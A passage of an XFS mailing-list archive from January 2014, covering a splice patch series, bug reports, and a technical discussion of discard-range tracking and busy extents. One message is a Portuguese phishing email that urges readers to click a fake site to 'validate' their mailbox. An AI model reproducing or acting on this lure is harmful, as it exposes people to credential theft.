xfs@oss.sgi.com Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140113141416.GA30117@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131212181459.994196463@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1389622468 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- ping? Would be nice to get this into 3.14 On Thu, Dec 12, 2013 at 10:14:59AM -0800, Christoph Hellwig wrote: > I've been trying to fix the old splice iolock lock inversion issue in XFS > and started looking over the splice code a little more for it. It seems > like the root of all evil is that we try to nest i_mutex inside the > pipe_lock instead of outside of it, and I can't find any good reason for > that. Does anyone remember why it went this way initially? > > By fixing that and a few minor issues we can not only fix this issue nicely > in XFS, but also get rid of various bits of code duplication, and poking into > splice internals by the ocfs2 splice_write path. > > Btw, does anyone have a good test suite for splice functionality? xfstests > coverage exits but is not very extensive. > > b/fs/ocfs2/file.c | 2 > b/fs/splice.c | 5 +- > b/fs/xfs/xfs_file.c | 26 +++++----- > b/include/linux/splice.h | 2 > fs/ocfs2/file.c | 78 +++++++++---------------------- > fs/splice.c | 115 +++++++++++++---------------------------------- > include/linux/splice.h | 7 -- > 7 files changed, 76 insertions(+), 159 deletions(-) > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html ---end quoted text--- From Muralitharan.Perumal@pace.com Mon Jan 13 08:59:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6C5247F3F for ; Mon, 13 Jan 2014 08:59:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 23EB3304051 for ; Mon, 13 Jan 2014 06:59:06 -0800 (PST) X-ASG-Debug-ID: 1389625141-04bdf00fe068d9c0001-NocioJ Received: from na01-bn1-obe.outbound.protection.outlook.com (mail-bn1blp0189.outbound.protection.outlook.com [207.46.163.189]) by cuda.sgi.com with ESMTP id A1jochvDTOfqpF0z (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 13 Jan 2014 06:59:01 -0800 (PST) X-Barracuda-Envelope-From: Muralitharan.Perumal@pace.com X-Barracuda-Apparent-Source-IP: 207.46.163.189 Received: from CH1PRD0511HT005.namprd05.prod.outlook.com (10.255.159.40) by BY2PR05MB565.namprd05.prod.outlook.com (10.141.220.12) with Microsoft SMTP Server (TLS) id 15.0.842.7; Mon, 13 Jan 2014 14:58:59 +0000 Received: from perumam1-lnx2.pace.internal (194.60.90.4) by pod51010.outlook.com (10.255.159.40) with Microsoft SMTP Server (TLS) id 14.16.395.1; Mon, 13 Jan 2014 14:58:57 +0000 Message-ID: <52D3FF2E.3010901@pace.com> Date: Mon, 13 Jan 2014 14:58:54 +0000 From: Muralitharan Perumal User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Subject: kernel 2.6.22 pdflush consumes ~90% cpu X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: kernel 2.6.22 pdflush consumes ~90% cpu Content-Type: multipart/mixed; boundary="------------060402030301060902010701" X-Originating-IP: [194.60.90.4] X-Forefront-PRVS: 00909363D5 X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10009001)(164054003)(189002)(199002)(5423002)(83072002)(85852003)(59896001)(74366001)(81816001)(81686001)(80976001)(46102001)(90146001)(56816005)(47736001)(51856001)(76482001)(76796001)(53806001)(74706001)(79102001)(76786001)(47976001)(63696002)(59766001)(66066001)(65956001)(77982001)(54356001)(65806001)(54316002)(80022001)(50986001)(49866001)(76176001)(69226001)(36756003)(83506001)(56776001)(4396001)(74876001)(31966008)(83322001)(74662001)(47446002)(33656001)(84326002)(85306002)(81342001)(568964001)(64126003)(71186001)(81542001)(80316001)(74502001)(87936001)(77096001)(512934002)(92566001)(92726001)(19580395003)(93136001);DIR:OUT;SFP:1101;SCL:1;SRVR:BY2PR05MB565;H:CH1PRD0511HT005.namprd05.prod.outlook.com;CLIP:194.60.90.4;FPR:;RD:InfoNoRecords;MX:1;A:1;LANG:en; X-OriginatorOrg: pace.com X-Barracuda-Connect: mail-bn1blp0189.outbound.protection.outlook.com[207.46.163.189] X-Barracuda-Start-Time: 1389625141 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144041 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --------------060402030301060902010701 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I am currently working on an embedded platform involving XFS as the preferred fs. Earlier, ext3 was used but now replaced with XFS. The unit is working fine with ext3 but after replacing with XFS, I am seeing a few issues: a) Occassionally I am getting the following error when we write files to the fs: attempt to access beyond end of device sda1: rw=3D0, want=3D10487141907480064, limit=3D9766912 I/O error in filesystem ("sda1") meta-data dev sda1 block 0x254200001abdf8 = ("xfs_trans_read_buf") error 5 buf count 4096 attempt to access beyond end of device sda1: rw=3D0, want=3D10487141907480064, limit=3D9766912 I/O error in filesystem ("sda1") meta-data dev sda1 block 0x254200001abdf8 = ("xfs_trans_read_buf") error 5 buf count 4096 b) After running for about 20 to 25 minutes, the pdflush consumes about 90%= cpu and stuck there in D state: Is there any similar issue seen with kernel 2.6.22? Am I missing any XFS pa= tches that could fix this? Any pointers would be helpful. Thanks, Murali IMPORTANT NOTICE - this e-mail and any attachments hereto are strictly conf= idential and intended solely for the addressee. If you are not the intended= recipient, please notify the sender to report the error and delete this co= mmunication immediately. You must not disclose, forward or copy this e-mail= or any attachments hereto without the prior consent of the sender. --------------060402030301060902010701 Content-Type: application/pgp-keys; name="0x1B79B2F8.asc" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="0x1B79B2F8.asc" -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.10 (GNU/Linux) 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 =TT6G -----END PGP PUBLIC KEY BLOCK----- --------------060402030301060902010701-- From mw@dermichi.com Mon Jan 13 09:40:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 266697F3F for ; Mon, 13 Jan 2014 09:40:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D4A5E304043 for ; Mon, 13 Jan 2014 07:40:10 -0800 (PST) X-ASG-Debug-ID: 1389627607-04bdf00fdf68f600001-NocioJ Received: from firestarter.dermichi.com (firestarter.dermichi.com [194.177.153.153]) by cuda.sgi.com with ESMTP id NcNnNF2ogeVlTQhS (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 13 Jan 2014 07:40:08 -0800 (PST) X-Barracuda-Envelope-From: mw@dermichi.com X-Barracuda-Apparent-Source-IP: 194.177.153.153 Received: from noclinksys.net4you.net ([194.177.153.180] helo=[127.0.0.1]) by firestarter.dermichi.com with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.82) (envelope-from ) id 1W2jcU-0006Eg-IT for xfs@oss.sgi.com; Mon, 13 Jan 2014 16:40:06 +0100 Message-ID: <52D408EC.5000205@dermichi.com> Date: Mon, 13 Jan 2014 16:40:28 +0100 From: Michael Weissenbacher User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair References: X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair In-Reply-To: Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Antivirus: avast! (VPS 140112-2, 12.01.2014), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: firestarter.dermichi.com[194.177.153.153] X-Barracuda-Start-Time: 1389627608 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144042 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Zach! > I now have 23 directories (matching the 23 rebuilding" messages) where a file or directory with non-ASCII characters in the name exists in the directory list but cannot be read or deleted: > > ls -la > ls: cannot access 07 - Seor Macho Solo.m4v: No such file or directory > -rw-rw----+ 1 profplump media 332M Sep 11 2010 06 - Christmas Special.m4v > ??????????? ? ? ? ? ? 07 - Se??or Macho Solo.m4v > -rw-rw----+ 1 profplump media 304M Sep 11 2010 08 - Flu Shot.m4v > Might be a long shot, but have you tried mounting the file system with "-o inode64"? cheers, Michael --- This email is free from viruses and malware because avast! Antivirus protection is active. http://www.avast.com From carol.basford@tiscali.co.uk Mon Jan 13 09:43:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 90ACA7F50 for ; Mon, 13 Jan 2014 09:43:04 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 617F38F8037 for ; Mon, 13 Jan 2014 07:43:01 -0800 (PST) X-ASG-Debug-ID: 1389627777-04bdf0568e24d760001-NocioJ Received: from out.ipsmtp4nec.opaltelecom.net (out.ipsmtp4nec.opaltelecom.net [62.24.202.76]) by cuda.sgi.com with ESMTP id da2PzRvCAUWzBbjp (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 13 Jan 2014 07:42:58 -0800 (PST) X-Barracuda-Envelope-From: carol.basford@tiscali.co.uk X-Barracuda-Apparent-Source-IP: 62.24.202.76 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmdRAGwI1FI+GIt+/2dsb2JhbABag0M/gxWCMZ9alGUkgQZ0gh0ybxwCDRkCIQoohhWCEgmOBYxgjxGWSwGENBeBKY0NAQEbAiuCfQ+BOQSOWIdtAZNmgy08gS4HFwY X-IPAS-Result: AmdRAGwI1FI+GIt+/2dsb2JhbABag0M/gxWCMZ9alGUkgQZ0gh0ybxwCDRkCIQoohhWCEgmOBYxgjxGWSwGENBeBKY0NAQEbAiuCfQ+BOQSOWIdtAZNmgy08gS4HFwY X-IronPort-AV: E=Sophos;i="4.95,653,1384300800"; d="scan'208";a="86783993" Received: from lb-mask.bir.opaltelecom.net (HELO ms1gb1.int.opaltelecom.net) ([62.24.139.126]) by out.ipsmtp4nec.opaltelecom.net with ESMTP; 13 Jan 2014 15:42:56 +0000 Received: from (106.211.32.86) by webmail.tiscali.co.uk; Mon, 13 Jan 2014 15:42:56 +0000 Message-ID: <6481513.3128831389627776459.JavaMail.defaultUser@defaultHost> Date: Mon, 13 Jan 2014 15:42:56 +0000 (GMT) From: MRS CAROL BASFORD Subject: caixa de correio excedeu MIME-Version: 1.0 X-ASG-Orig-Subj: caixa de correio excedeu Content-Type: text/plain;charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: out.ipsmtp4nec.opaltelecom.net[62.24.202.76] X-Barracuda-Start-Time: 1389627778 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144042 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Caro usu=C3=A1rio Id As mensagens recebidas eram colocados sobre a=20 pend=C3=AAncia devido ao nosso recente atualiza=C3=A7=C3=A3o. Siga as infor= ma=C3=A7=C3=B5es=20 abaixo link para validar a sua caixa de correio e aumentar a sua cota=20 de caixa postal servi=C3=A7o. Clique http://e-mailclientsupports.webs.com/ para chegar a sua=20 caixa de correio atualizado. Pedimos desculpas pelo inconveniente. obrigado Equipa de Apoio Mail Client From alex@zadarastorage.com Mon Jan 13 11:44:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5408E7F3F for ; Mon, 13 Jan 2014 11:44:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EE6E5304053 for ; Mon, 13 Jan 2014 09:44:20 -0800 (PST) X-ASG-Debug-ID: 1389635054-04bdf00fdf6937c0001-NocioJ Received: from mail-wi0-f174.google.com (mail-wi0-f174.google.com [209.85.212.174]) by cuda.sgi.com with ESMTP id KaggkypDF54lzLmf (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 13 Jan 2014 09:44:15 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 209.85.212.174 Received: by mail-wi0-f174.google.com with SMTP id g10so1496400wiw.7 for ; Mon, 13 Jan 2014 09:44:14 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=NeXjJNUru/VnszZAFcAYza+S+XBmLfSl/6wzyQhVMzU=; b=W8JvHvFdpjhBxFCsMnYI2Xz/u0bzIxeDgGYkvKn03WyNvuOZQP+93x7sghBRUIRazp KnpUoZ5GyobY2PpCVyn7i75qDfxxru1849wSdLpqnl1RvDiE2/IwizuTZRlNeGyVx5mR 7QBDqLNtWTtRkeCNfPkTzudaPvUMgpgPiJj0cOk4D9eMTeUPvqa5LuGDZ7lgizhcVGne X7xeUvhDGuy9sf3YGCqODUksYL0nkd+e0CedXgTXR82Qxtxz3tv8PxtMD2Yfi8UBapnu ptu8c4GcLFLB8bv/6fDE/3M7GIIbAGJNfASFwxq6H2/GVUyv922uhoJEMJ/0pavLUjsL YrwQ== X-Gm-Message-State: ALoCoQncvjeYdA//eHIaD9vUT32lGKxF860dPLOJkZEfGXgpGKkbJQZqQFh5dGY3B9rEl9nkFnAP MIME-Version: 1.0 X-Received: by 10.180.19.35 with SMTP id b3mr8267101wie.20.1389635053939; Mon, 13 Jan 2014 09:44:13 -0800 (PST) Received: by 10.194.169.132 with HTTP; Mon, 13 Jan 2014 09:44:13 -0800 (PST) In-Reply-To: <20140113030230.GF3469@dastard> References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> <20131226230018.GJ20579@dastard> <20140113030230.GF3469@dastard> Date: Mon, 13 Jan 2014 19:44:13 +0200 Message-ID: Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) From: Alex Lyakas X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-wi0-f174.google.com[209.85.212.174] X-Barracuda-Start-Time: 1389635055 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144045 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, Thank you for your comments, and for pointing me at the commits. On Mon, Jan 13, 2014 at 5:02 AM, Dave Chinner wrote: > On Wed, Jan 08, 2014 at 08:13:38PM +0200, Alex Lyakas wrote: >> Hello Dave, >> >> Currently I am working on the following approach: >> >> Basic idea: make each xfs_extent_busy struct carry potential >> information about a larger extent-for-discard, i.e., one that is a >> multiple of discard_granularity. > > You're making a big assumption here that discard_granularity is > useful for aggregating large extents. Discard granularity on modern > SSDs is a single sector: > > $ cat /sys/block/sda/queue/discard_granularity > 512 > $ > > I've just checked 4 different types of SSDs I have here (from 3 > years old no-name sandforce SSDs to a brand new samsung 840 EVO), > and htey all give the same result. > > IOWs, in most cases other than thin provisioning it will not be > useful for optimising discards into larger, aligned extents. Agree. The use case I primarily look into is, indeed, thin provisioning. In my case, discard granularity can be, for example, 256Kb or even higher. I realize this is not the case with SSDs. > >> In detail this looks like this: >> # xfs_free_ag_extent attempts to merge the freed extent into a >> larger free-extent in the by-bno btree. When this function >> completes its work, we have [nbno, nlen], which is potentially a >> larger free-extent. At this point we also know that AGF is locked. >> # We trim [nbno, nlen] to be a multiple-of and aligned-by >> discard_granularity (if possible), and we receive [dbno, dlen], >> which is a very nice extent to discard. >> # When calling xfs_extent_busy_insert(), we add these two values to >> the xfs_extent_busy struct. >> # When the extent-free operation is committed for this busy extent, >> we know that we can discard this [dbno, dlen] area, unless somebody >> have allocated an extent, which overlaps this area. > > This strikes me as optimisation at the wrong time i.e. optimising > discard ranges at extent free time ignores the fact that the extent > can be immediately reallocated, and so all the optimisation work is > wasted. Agree it can be reallocated. Although, based on the code, only a metadata extent can be reallocated immediately, while user data busy extents cannot be "unbusied" until their freeing is committed to the log. I agree it can happen, that a non-busy part of a discard-range can be allocated, and then the whole range cannot be discarded. > >> To address that, at the end of xfs_alloc_fixup_trees() we do the following: >> # We know that we are going to allocate [rbno, rlen] from >> appropriate AG. So at this point, we search the busy extents tree to >> check if there is a busy extent that holds [dbno, dlen] (this is a >> multiple-of and aligned-by discard granularity), which overlaps > > How do you find that? The busy extent tree is indexed on individual > extents that have been freed, not the discard granularity ranges > they track. Agree, that's why I mentioned that another rbtree is needed, that indexes discard-ranges. > >> [rbno, rlen] fully or partially. If found, we shrink the [dbno, >> dlen] area to be still a multiple-of and aligned by >> discard-granularity, if possible. So we have a new smaller [dbno, >> dlen] that we still can discard, attached to the same busy extent. >> Or we discover that the new area is too small to discard, so we >> forget about it. > > Forget about the discard range, right? We can't ignore the busy > extent that covers the range being freed - it must be tracked all > the way through to transaction commit completion. Agree that busy extent cannot be forgotten about. I meant that we forget only about the discard range that is related to this busy extent. So when the transaction commit completes, we will "unbusy" the busy extent as usual, but we will not discard anything, because there will be no discard-range connected to this busy extent. > >> # The allocation flow anyways searches the busy extents tree, so we >> should be ok WRT to locking order, but adding some extra work. > > There are other locking issues to be concerned about than order.... > >> I am aware that I need to handle additional issues like: >> # A busy extent can be "unbusyied" or shrunk by >> xfs_extent_busy_update_extent(). We need to update [dbno, dlen] >> accordingly or delete it fully >> # To be able to search for [dbno, dlen], we probably need another >> rbtree (under the same pag->pagb_lock), which tracks large extents >> for discard. xfs_extent_busy needs additional rbnode. >> # If during xfs_alloc_fixup_trees() we discover that extent is >> already being discarded, we need to wait. Assuming we have >> asynchronous discard, this wait will be short - we only need the >> block device to queue the discard request, and then we are good to >> allocate from that area again. > > * multiple busy extents can be found in the one "discard range". > Hence there is a n:1 relationship between the busy extents and the > related "discard extent" that might be related to it. Hence if we > end up with: > > busy1 busy2 busy3 > +-------+-------+------+ > +----------------------+ > discard1 > > and then we reuse busy2, then we have to delete discard1 and update > busy1 and busy3 not to point at discard1. Indeed, depending on > the discard granularity, it might ned up: > > busy1 busy3 > +-------+ +------+ > +-------+ +------+ > discard1 discard2 > > And so the act of having to track optimal "discard ranges" becomes > very, very complex. I agree with the examples you have given. That's why I realized that the numbering of busy extents is needed. In the first example, the extent that was freed *last* out of busy1/busy2/busy3 will be the one pointing at the discard range. Assume it was busy3. Continuing with your example, even if we fully reuse busy2, we delete it from pagb_tree, but we *never* delete it from the transaction's t_busy list. So we can split discard1 into discard1/2 and keep them connected to busy3. When busy3 commits, we check if busy1 and busy2 have already committed, using the busy extents numbering. If yes, we discard. If not, we "unbusy" busy3 as usual, and we leave discard1/2 in the second rbtree (they have the sequence number of busy3 to know when we can discard them). Similar would have happened if discard1 was originally connected to busy2. Even after full reusage of busy2, busy2 is not deleted until it commits (it is only erased from the pagb_tree). > > I really don't see any advantage in tracking discard ranges like > this, because we can do these optimisations of merging and trimming > just before issuing the discards. And realistically, merging and > trimming is something the block layer should be doing for us > already. > Yes, I realize that XFS mindset is to do pure filesystem work, i.e., arrange blocks of data in files and map them to disk. The rest should be handled by application above and by the storage system below. In your awesome AU2012 talk, you also confirm that mindset. Trouble is that the block layer cannot really merge small discard requests, without the information that you have in AGF btrees. >> >> One thing I am unsure about, is a scenario like this: >> # assume discard-granularity=1MB >> # we have a 1MB almost free, except two 4K blocks, somewhere in the >> free space >> # Transaction t1 comes and frees 4K block A, but the 1MB extent is >> not fully free yet, so nothing to discard >> # Transaction t2 frees the second 4K block B, now 1MB is free and we >> attach a [dbno, dlen] to the second busy extent >> >> However, I think there is no guarantee that t1 will commit before >> t2; is that right? > > Correct. > >> But we cannot discard the 1MB extent, before both >> transactions commit. (One approach to solve this, is to give a >> sequence number for each xfs_extent_busy extent, and have a >> background thread that does delayed discards, once all needed 